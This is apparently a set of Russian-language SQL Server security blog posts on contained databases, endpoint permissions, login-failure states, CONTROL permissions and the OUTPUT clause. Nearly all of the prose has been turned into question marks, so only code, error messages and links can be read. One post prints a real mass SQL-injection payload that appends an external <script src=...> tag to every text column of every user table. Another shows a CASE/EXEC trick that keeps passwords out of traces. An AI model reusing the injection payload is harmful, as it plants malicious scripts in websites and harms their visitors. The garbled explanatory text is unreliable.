?? ????? ????? ?????? ????????????? ? ??????? ???????? ????????? ???????, ?????????? ???????????, ?????????????? ? ????? ?????? SQL Server-? – ?????????????? ? ??????????? ???? ?????? ??? ??????????? ??????????????. ??? ???, ??? ????????, ????????: https://blogs.msdn.com/b/sqlsecurity/

? ????? ? ????????? ????????? ?? ???????…

? Microsoft SQL Server “Denali” (CTP1) ???? ???????????? ????? ???????????????? -  ??????????? ???? ?????? (Contained Db ??? CDB).

??? ???????????? ????????, ??????????? ???? ?????? ?????? ???? ??????????????, ?? ???????? ?? ????????? ????????. ??????????? ???? ?????? ????? ?????????? ????? ??????? ?????????. ?????? ?????????????? ? ?????? ???????, ????? ???? ?????? ?????? ???????????? ??? ????????????????, ?? ?????? ??????? ?????????????? ????????.

????? ?? ???????? ???????????? ??????????? ???? ?????? ???????? ????????????? ?? ??????? (???????, ??? ????????, ???????? ?????????? ????????? ? ?????? ? ???????????????? ????? ?????? ?? ???????????). ????? ???????, ??????????? ?? ???? ???????????, ???? ?????? ?????????? ????? ?????????.

????? ??????????? ????? ??????????? ???? ??????? ??????? Contained User ??? User with Password.

??????????? user – ??? user ???????????????????? ? ??????? ? master-?, ??????? ?????????? ? ???????????????? ???? ?????? ????? ???? ?????? ? ????? ???????????? ???????? ? ???? ??????.

??? SQL Server users ??? ???????? ????? ?????????, ??????????? ????????? ????? ????????????? ? ????????. Windows users ????? ???? ??????? ???????????? ???????.

-- sysadmin ?????? ???? ????????? ????????????? ??????????? ??? ?????? ?? SQL Server-?

sp_configure 'show advanced', 1;

RECONFIGURE WITH OVERRIDE;

go

sp_configure 'contained database authentication', 1;

RECONFIGURE WITH OVERRIDE;

go

-- ???????? ??????????? ???? ??????

CREATE DATABASE db_Contained

CONTAINMENT = PARTIAL;

go

USE db_Contained;

go

-- ???????? ???????????? SQL Server user-?

CREATE USER usr_Contained

WITH PASSWORD = 'LJDUT9!@$';

go

-- ???????? Windows user-?

CREATE USER [DOMAIN\User_01];

go

User, ??????? ?????????? ?????? ? ??????????? ???? ?????? ????? ???????????? ?????? ? ???? ???? ??????, ?? ????? ???????? ???? ?????? ?, ???????????, ?? ????? ???? ??? ???? ??????, ??? ?? ??? ??????.

Windows user, ????????? ? ??????? ????, ????? ???? contained ??? not-contained ? ??????????? ?? ????, ?????????? ?? ??????????????? ????? (DOMAIN\User_01) ? master-?. ???? ????? ????? ??????????, ??, ????????? ????, user ????? ????? ????? ??? ?????? ???? ??????, ????? ?????? ???? ?????? ?, ? ?????, ?? ???????? contained. ???? ????? ????? ?? ??????????, ?? ????? user ???????? ????? ?????????? contained user-?, ?????????? ????. ????? ???????, Windows user ????? ?????? ???? ????????, ? ??????????? ?? ???? ??? ?? ?????? ??? ?????? ??????????????? ?????. ??? ?? ??????, ??? ?? ?????, ?????? ?? ????????? ??????????, ?.?. ?????? ???? ?????? ??????????? ?????? user-? ???????? ???????????.

????????? connection string ???????? ??????????. ??? ?????? ? ??????????? ???? ?????? ?????????? ??????? ??? ???? ???? ??????, ??? user-? ? ??? ?????? (???? ??? SQL Server user):

??????????? ???????

SQL Server ????????????? ?????????? ? ??????????????? DDL ? ?????????? ???????, ??????? ????? ????????? ????????? ?????????? (????????: OPEN SYMMETRIC KEY, EncryptByKey ? ?.?.).

????????:

CREATE SYMMETRIC KEY key00 WITH ALGORITHM = AES_256

  ENCRYPTION BY PASSWORD = 'D3m0 p4SSw0Rd&'

go

OPEN SYMMETRIC KEY key00 DECRYPTION BY PASSWORD = 'D3m0 p4SSw0Rd&'

go

? ?????????? trace ????? ????????? ????????? ??????? (??? ???????? ? ???????? ?????????? ???????):

 ? ?????????, ??? ????????????? ???????????? ???????? ??? ???????????????? ???????? ???????? (??? ???????? ??????????????? ????????? ??? ?????? ? ?????????????? SQL injections), SQL Server ?? ????? ??????????? ??????????, ???????????? ?? DDL ? ?????????? ???????, ?????????? ????.

????????:

EXEC( 'CREATE SYMMETRIC KEY key00 WITH ALGORITHM = AES_256   ENCRYPTION BY PASSWORD = ''D3m0 p4SSw0Rd&''')

EXEC( 'OPEN SYMMETRIC KEY key00 DECRYPTION BY PASSWORD = ''D3m0 p4SSw0Rd&''')

?????????? ????????? ???? SQL Server-? ??????, ??? ?????? ??????? ???????????. ???? ??????? ? ????????????? ?????????? ???????, ? ??????? SQL Server-?  ????????, ??? ??? ????? ???????????? ????????? ??????????.

????????:

DECLARE @Secret nvarchar(max)

SELECT @Secret = CASE WHEN 1=1 THEN

   'CREATE SYMMETRIC KEY key00 WITH ALGORITHM = AES_256 ENCRYPTION BY PASSWORD = ''D3m0 p4SSw0Rd&'''

   ELSE EncryptByPassphrase('','') END

EXEC(@Secret)

SELECT @Secret = CASE WHEN 1=1 THEN

  'OPEN SYMMETRIC KEY key00 DECRYPTION BY PASSWORD = ''D3m0 p4SSw0Rd&'''

   ELSE EncryptByPassphrase('','') END

EXEC(@Secret)

go

EncryptByPassphrase() ??????? ?? ?????????? ? ???? ???????, ?? ???? ?????? ??????????? ????????????? ????????? ?????? ? Trace-? ? ??????.

????????? ????? ????????? ????????? ???????:

???? ??????!

? ????????? ?? ???????? ?????? ?????, ? ???????? ???????, ??????? ?????? ?????? ??????????????? ??? ?????? ???????? ??????? ?????? ???? ‘Login Failed’.

??????? ? ???????? ??? ???????? ??? ?????????? ?? CodePlex: http://ssat.codeplex.com/

??? ??? ??? ???????????? ??? Microsoft Public License ?? ?? ????? ????????????, ? ??? ?? ???????????? ? ????????????? ???????? ???.

? ??????, ???? ?? ???????, ???? ?? ??????? ???????? ????????????? ? ??????? (????????? ??????????? ?? CodePlex) ? ????????????????? ??? ???????.

?????? ??? ???????? ?????? ???????? – ?? ????? UI (????????? ??????), ? ???????? ????????? ????????? connection string, ????? ???????????.

? ?????, ???? ???? ???????? – ??????? ??????.

????????? ? ??????? ????????????????.

?????????? SQL Server Authentication Troubleshooter.

??????? ?? C# (.Net 2.0 – ?? ????? ???????????? ????? ??????? ??????, ?.?. ??? ??????????? ?????????? ??? SQL Server 2008)?

?????????? xEvents (?????????????? ?????? ??????????? – ????? ???????? ?????? ? SQL Server 2008) ? ?????? ????????? ???? ?????? (sys.dm_os_ring_buffers) .

??? ????????????? ??????????, ????? ????????????? (??? ???????????? ? ?????? Control Server) ??? ??????? ???????????? , ?.?. (???????????? ???????????) – ??? ?? Connectivity troubleshooter, ????????? ?????? ???????????????, ??????? ???????? ????? ??????? ??????? ?????? ?? ??????? SQL ???????.

???????? ? ???? ??????? – ?????????? ? ??????. ? ?????? ??????????? ?????? ???????? ?????????? ?? ??????? ???? ‘Login Failed’ ? ?????????? ?? ??????? ??????, ???????, ?????????? ? ?.?.

? ?????? ??????? – ??????????? ??????? ?????????? (?????) ?????? ???? ‘Login Failed’.

?????????????:

ATSDriver.exe connection_string [-M ]

connection_string ?????????? connection string ?????????????? ??? ???????????? ? ??????? Control Server, ??????? ??????????? ????????.

-M ???????????? ???????? ???????? ????? ???????????.

????? ???????? (??-?????????) ????? ???????? ?? ????? https://ssat.codeplex.com/documentation

??? ?? ???????? ?? ?????? ????????? J ? ???, ??? ?? ????? ???? ???????? ?????????: https://ssat.codeplex.com/Thread/List.aspx

? ?????, ???????????????, ???? ???? ??????? ? ?????. ? ????????? ???????, ???? ? ???-?? ????????? ???????? (??? ?????? ????? J).

??? ?????? ? ????? ???????? ?????????????? ??, ????????, ?? ????????????? ??????? ???????????? ????? ?? ???????? ?????? ? ?????????? ???? ?? ???????: «???????? ????? ???? ????????????? ??????? ?????». ?????? ??? ?????? – ??????? ????????, ???? ?? ???? ???????? ? ???????, ??????? ??? ?? ??????????.

???? ?????? ???? ???????????? ????????? ?????, ??????? ????????????? ????? ???????? ? ????????????  ?????.

????????, ? ??? ???? ???????????? Bob ? ????????? p_test, ??????? ??? ?????? ????? ?????????. ????????????? SQL Server Agent Jobs. ?? ????? ???????????? ????? ?? ?????????? ???? ????????? (GRANT EXECUTE ON p_test TO Bob) ? ???????? Job, ??????? ????? ??????????? ???? ??? ? ??????????? ?????, ? ????? ???????? ????? ???????????? ?? ??????????.

??????? Job ????? ????? UI SQL Server Management Studio (SQL Server Agent -> Jobs -> New Job…) ??? ??????????. ????????, ????????? ?????? ??????? Job ??? ?????? ????? ???????????? Bob ????????? ????????? p_test ? ????????????? ?? ?????????? (??????? Schedule) ???? ??? 10.06.2009 ? 23:59:59

DECLARE @jobId BINARY(16)

EXEC msdb.dbo.sp_add_job @job_name=N'RevokeTempPerm',

            @enabled=1,

            @notify_level_eventlog=0,

            @notify_level_email=0,

            @notify_level_netsend=0,

            @notify_level_page=0,

            @delete_level=0,

            @description=N'To revoke temporary permissions',

            @category_name=N'[Uncategorized (Local)]',

            @owner_login_name=N'sa', @job_id = @jobId OUTPUT

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RevokeTempPerm',

            @step_id=1,

            @cmdexec_success_code=0,

            @on_success_action=1,

            @on_success_step_id=0,

            @on_fail_action=2,

            @on_fail_step_id=0,

            @retry_attempts=0,

            @retry_interval=0,

            @os_run_priority=0, @subsystem=N'TSQL',

            @command=N'REVOKE EXECUTE ON p_test TO Bob',

            @database_name=N'db_source',

            @flags=0

EXEC msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'RevokeTempPerm',

            @enabled=1,

            @freq_type=1,

            @freq_interval=0,

            @freq_subday_type=0,

            @freq_subday_interval=0,

            @freq_relative_interval=0,

            @freq_recurrence_factor=0,

            @active_start_date=20090610,

            @active_end_date=99991231,

            @active_start_time=0,

            @active_end_time=235959,

            @schedule_uid=N'0882904e-9eaa-46ee-b8f2-ccfb56b88492'

EXEC msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'

GO

?????????? ????? ????????? Job ????????????? ??????????????? ???????????? ????? ????????????? ? ???????????? ?????.

???????? ???????? ?????? ?????? ???????? ??, ??? ?? ???????? ????? Job's ????? ?????????????. ??????????????, ????? ????? ??????? ????????? ????????????? ????? ?? ??????? ? ????????? ???????????? Job, ???? ????????????????  ?? ????? ?????? ?? ?????????? (Schedule).

? ??? ???? ???????, ? ??? ???????, ? ??????? ???? ????…

?????????? ????????? ????????:

1)      ?? ???????? ????? ???????? ????? ??? TCP:

CREATE ENDPOINT tcp_endpoint

    STATE = STARTED

    AS TCP(LISTENER_PORT = 7022)

    FOR TSQL()

   GO

      ??? ???? ?? ????????? ????????? ??????????????:

«Creation of a TSQL endpoint will result in the revocation of any 'Public' connect permissions on the 'TSQL Default TCP' endpoint.  If 'Public' access is desired on this endpoint, reapply this permission using 'GRANT CONNECT ON ENDPOINT::[TSQL Default TCP] to [public]'.»

?????? ????? ??????? ?????????, ??? ??? ?????????????? ???????? ??? ???????? J

2)      ????? ?????-?? ????? ?? ???????? ??????? ????????? ???????? ?????:

DROP ENDPOINT tcp_endpoint

GO

? – ???????, ??????? – ? ??? ?????????? ???????? ? ?????????????? ????????????.

??? ?????????…

?? ?????????, ? SQL Server ?????????? ???????? ????? ??? ???? ??????????:

?? ????????? ??, ????????? ???? public (??? ?????? ??????????? ???? ????) ????? ????? ???????????? ????? ??? ???????? ?????. ?.?., ???? ???????????? ???????? ??????????? ? SQL Server, ????????, ???????? TCP\IP, ?? ????? ??????????? ????? ???????? ????? [TSQL Default TCP] ? ?????? ????? ??????????????? ?????. ??? ? ??? ???????, ?? ????????? ?? ?? ?????, ?.?. ??????????? ????????? ???? public, ???????, ? ???? ???????, ????? ????? ??????????? ????? ????????? ???????? ?????.

????? ?? ???????? ????? ???????? ????? ??? TCP ?????????, ????? public ?? ????????? ???????? ????? ??????????, ??, ????? ?? ??? ????? ????? ????????, ??? ?? ???????????? (? ???, ??????????, ? ??????? ??????????????, ??????????? ????). ????? ???????, ????????? ???? public ?? ????? ?????? ???? ???????????, ????????? ???????? TCP\IP.

??? ??????????…

Errorlog ????? ????????? ?????? «Login failed» ?? ???????? 11 ??? 12. ????????:

2009-05-22 18:33:25.78 Logon       Error: 18456, Severity: 14, State: 12.

2009-05-22 18:33:25.78 Logon       Login failed for user 'lgn_valid'. Reason: Login-based server access validation failed with an infrastructure error. Check for previous errors. [CLIENT: ...]

????????? ?????? ?????????? ?????? ???????? ?????, ????? ??????????? ????? ??????? ???? public:

Select sp.permission_name, sp.state_desc, ep.name

from sys.server_permissions sp join sys.endpoints ep

      on sp.major_id = ep.endpoint_id

where sp.grantee_principal_id = 2 and sp.class = 105

GO

? ????? ??????? ????????? ????? ?????:

CONNECT            GRANT                 TSQL Local Machine

CONNECT            GRANT                 TSQL Named Pipes

CONNECT            GRANT                 TSQL Default VIA

??? ?????, ???????? TCP ??????????? ? ??????.

??? ?????????…

????? ??????? ????? ??????????? ????? ?????? ???????? ????? ????????? ???? public:

GRANT CONNECT ON ENDPOINT::[TSQL Default TCP] to public

GO

??? ?? ??????????. ??????: ? ????? ???????? ???? ?????? ???? ??? ????????? ????? SQL injection ???? ?? Web ??????????. ??? ????? ?? ????????? ?????-???? ??????????? ? SQL Server ??? IIS; ????? ?????????? ?????????? ????? Web ??????????. ???????? ????? ????: ?????????? Web ?????????? ?????? ????????????? ??????????? ????? ?? SQL Server-? ? ?????????? ???????? ?????????? ????:

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='U' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=https://www.************.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

????? ?????? ????????? ?????? ?? ???? ?????????? ???????? ? ???????????????? ???????? ?? SQL Server-?, ???????? ? ??? ?????? ?? ????????? ??????, ??????? ?????? ? ????? ???????????? ????????????? ?????? ?????????? ?????? ? ???????.

???????? ?????: Web ?????????? ?????? ???????????? ??????????? ??????????? ?????????? ?? SQL Server-? ????? ?????????????. ?? ?????? ??? ????????? ???????? ???????? ? ????? ?????? ???????????? ??? ????????? ?? ??????????? ?? ?? ????? ?????.

???? ??????? ???????? J

?????? ???????? ?????????:

Login failed for user 'sa'.

?????? ??????????? ?????? ???????? ????????? ??????:

Error: 18456, Severity: 14, State: 8. Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: <local machine>]

????? ??? ??????? ?????????????? ?????????? ? ??????? ?????? (???????????? ??????) ? ? ?????????? ??????, ? ??????? ???????? ?????????? ?????????????? (???? local mchine ???? IP ?????).

?????? ????????? ??????? ????? ???? ?? ????? ????????. ????????? ??????? ????????? ?????????????? ????? ?????????? ?? ??????? (State) ??????. ???? ????????? ????????? ???????? ??????? ?????? 18456 ? ?? ???????????:

- ?????? ?? ???????? 2 – ?????? Windows ??????????????: ????????? Windows ???????????? ?? ????? ???? ??????????????? ? Windows ????????????? ?? ???????; ?????? ?? ???????? 5 – ?????? SQL ??????????????: ???????????? ? ????? ?????? ?? ??????;

- ??????????: ?????? ?? ???????? 9 ????? ????????? ??? Windows ?????????????? (? ??????? ?? ?????? ?? ???????? 8 – SQL ??????????????) – ???????? ??? ??????? ?????????????? ? ????????? ?????? ? ??????? ???????????? ? ??????;

- ??????????? ??????? ????????? ? ???????????? ?????? ?????? ?? ???????? 1, 11 ??? 12. ???????? ?????? ?? ??????? ????? ? ???????????? ????? ?????? ? Windows ????????????: ??????????,  Active Directory ? ?.?. ????? ?????? ??????? ????? ?????? ????? ??????????????? ?????????? ??????? (????? ??????????? ????????? ? SQL Server 2005 SP2), ??????? ???????? ???? ?????? ???????????? Win API , ? ???????????? ? ???????? ??????????????. ?????????? ?????????? ?????? ????? ? ??????? ????????? ???????:

Select * from sys.dm_os_ring_buffers

where ring_buffer_type = 'RING_BUFFER_SECURITY_ERROR'

????????? ? XML ??????? ???????? ??? Win API ????????? ?????? ? ??? ??????. ????????:

<Record id="197" type="RING_BUFFER_SECURITY_ERROR" time="3552445157">

  <Error>

    <SPID>158</SPID>

    <APIName>NetValidatePwdPolicy</APIName>

    <CallingAPIName>CAPIPwdPolicyManager::ValidatePwdForLogin</CallingAPIName>

    <ErrorCode>0x89B</ErrorCode>

  </Error>

</Record>

NetValidatePwdPolicy ??????? ?????? 89B. ???? API ? ??? ?????? ????? ????? (? msdn, ????????) ???????? ?? ???????:

0x89B = 2203 = The password parameter is invalid.

??? ????? ???????????????? ???????? ?????? ?????????????? ?? ???????? 12 ???????? SQL Server Endpoints (???????? ????? (?)). ???? ???????????? ?? ????? ???? ?? Endpoint, ????? ??????? ?? ???????? ?????????????? ? ??????? (? ??????: CONNECT ON ENDPOINT), ?? ??????? ?????? ?? ???????? 12.

? ????????? ??? ? ????????? ???????? ? SQL Server Endpoints.  ??????? ?? ???????? J

??-??????, ?? ?????-????? ?????????? ????????? ????????? ?????? SQL Server – SQL Server 2008, ??????? ????? ??????? ??? ?????? ?????.

??-??????, ? ??????? ? ????? ?????? ?????? SQL Server – SQL Server Security ? ??? ????? ???? ????? ????????? ?? ????? ?????.

??? ?? ?????????, ?????? ? ?????? ???? ? ???????? ??? ???????????? SQL Server-? ? ??? ????????? ? ???? ????????????????.

????, ???????…

? SQL Server 2005 ???????? ???? ???????????? ????? ?????? ???? Control ? ??????? (???????, ???? ? ?.?.), ??????? ?????????? ???? ?? ?? ?????, ??? ? ? ???????????? ???????.

??????:

GRANT CONTROL

ON t_Table TO Uesr1

GO

Control ????? ????????? ???????????.

?????? ??????? ?????????????? ???? ??????? ? ??????? ?????????????? ?????? ????????, ?? ??????, ???? ? ?????????? ??? ????? ????? ???????? ? ?????????????? ????? Cascade.

????????:

1. ???????????? User1 ??? ????? ??????? ???? Select ? ??????? Table ???????????? User2;

2. ????? ???????????? User1 ?? ??????? ? ??????? Table ???? ???????? ? ?????????????? ????? Cascade;

3. ? ?????????? User2 ????? ??????? ???? ??????? ? ???????.

? Control ???????? ???????? ?????.

??????:

1.???????? ??????? ??? ????? ??????? ? ??????? ???? Control ???????????? User1 ? ?????????????? ????? GRANT OPTION;

2.???????????? User1 ??? ????? ??????? ???? Control ???????????? User2;

3.????? ???????????? User1 ?? ??????? ? ??????? ???? ???????? ? ?????????????? ????? Cascade;

4.???????????? User2 ??-???????? ????? ????? Control ?? ??????.

Grant Control on T

to usr1

WITH GRANT OPTION

go

Execute as user = 'usr1'

go

Grant Control on T

to usr2

go

REVERT

go

Revoke Control on T

from usr1 Cascade

go

--Usr2 ??-???????? ????? ????? Control ?? T

??? ?????? ??? ????????…

???? ?????????, ????? ????? Control ???? ???????? ? ???? ?????????????, ??????? ?? ??? User1, User1 ?????? ???? ???? ?????? ? ?????? ?????????????? ???? ??????? ????????????:

Grant Control on T

to usr2

as usr1

go

?? ?????? ??????????? ????????? ?????? ??? ????????????? ?????????:

? SQL Server 2005 ???????? OUTPUT ???????? ?????? ?????????? DML ???????????.

????????:

INSERT

    [ TOP ( expression ) [ PERCENT ] ]

    [ INTO ]

    { <object> | rowset_function_limited

      [ WITH ( <Table_Hint_Limited> [ ...n ] ) ]

    }

{

    [ ( column_list ) ]

    [ <OUTPUT Clause> ]

    { VALUES ( ( { DEFAULT | NULL | expression } [ ,...n ] ) [ ,...n ] )

    | derived_table

    | execute_statement

    | <dml_table_source>

    | DEFAULT VALUES

    }

}

???????? OUTPUT ????? ????????? ?????????????? ????????? ????? ?????????? DML ?????????? ? ??????? ??? ?????????? ???? ???????.

????????, ????????? ??? ??????????? (??? ?????????) ??????.

????????????? ??? ?????? ?? ????????????? ??????? INSERTED ? DELETED, ???????????? ??????????.

??????:

--???????? ??????? Address

Create Table Address (ProductID Int, SupplierID Int, Address Varchar(255))

--??????? ?????? ? ???????

Insert into Address Values (234,567,'1234 One SQL Way, Microsoft City, U.S.')

Insert into Address Values (345,678,'1234 One Windows Way, Microsoft City, WA')

--??????? ????????? ??????????

Declare @Recordchanges table (change Varchar(255))

--??????? ?????? ? ???????

Update Address

Set Address=reverse(address)

--??????? ????????? ? ????????? ??????????

OUTPUT '??????????? ??????:' + DELETED.Address+' ???????? ??: '+ INSERTED.Address+'' into @RecordChanges

--?????? ????????? ?? ????????? ??????????

Select * from @RecordChanges

?? ?????? ?????:

Change

------------------------

??????????? ??????:'1234 One SQL Way, Microsoft City, U.S.' has been ???????? ??: '.S.U ,ytiC tfosorciM ,yaW LQS enO 4321'

??????????? ??????:'1234 One Windows Way, Microsoft City, WA' has been ???????? ??: 'AW ,ytiC tfosorciM ,yaW swodniW enO 4321'